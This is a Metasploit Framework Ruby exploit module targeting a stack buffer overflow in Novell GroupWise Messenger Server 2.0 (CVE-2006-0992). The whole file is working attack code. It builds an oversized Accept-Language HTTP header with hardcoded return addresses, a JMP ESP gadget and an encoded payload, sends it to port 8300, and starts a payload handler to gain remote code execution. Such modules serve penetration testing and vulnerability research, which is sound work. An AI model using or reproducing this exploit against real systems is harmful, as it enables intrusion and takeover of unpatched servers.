metasploit-framework/modules/exploits/windows/http/novell_messenger_acceptlang.rb

71 lines
2.1 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Novell Messenger Server 2.0 Accept-Language Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in Novell GroupWise
Messenger Server v2.0. This flaw is triggered by any HTTP
request with an Accept-Language header greater than 16 bytes.
To overwrite the return address on the stack, we must first
pass a memcpy() operation that uses pointers we supply. Due to the
large list of restricted characters and the limitations of the current
encoder modules, very few payloads are usable.
},
'Author' => [ 'hdm' ],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2006-0992'],
['OSVDB', '24617'],
['BID', '17503'],
],
'Privileged' => true,
'Payload' =>
{
'Space' => 500,
'BadChars' => "\x00\x0a\x2c\x3b"+ [*("A".."Z")].join,
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
['Groupwise Messenger DClient.dll v10510.37', { 'Rets' => [0x6103c3d3, 0x61041010] }],
],
'DisclosureDate' => 'Apr 13 2006'))
register_options( [ Opt::RPORT(8300) ], self.class )
end
def exploit
connect
lang = rand_text_alphanumeric(1900)
lang[ 16, 4] = [target['Rets'][1]].pack('V') # SRC
lang[272, 4] = [target['Rets'][1]].pack('V') # DST
lang[264, 4] = [target['Rets'][0]].pack('V') # JMP ESP
lang[268, 2] = "\xeb\x06"
lang[276, payload.encoded.length] = payload.encoded
res = "GET / HTTP/1.1\r\nAccept-Language: #{lang}\r\n\r\n"
print_status("Trying target address 0x%.8x..." % target['Rets'][0])
sock.put(res)
sock.close
handler
disconnect
end
end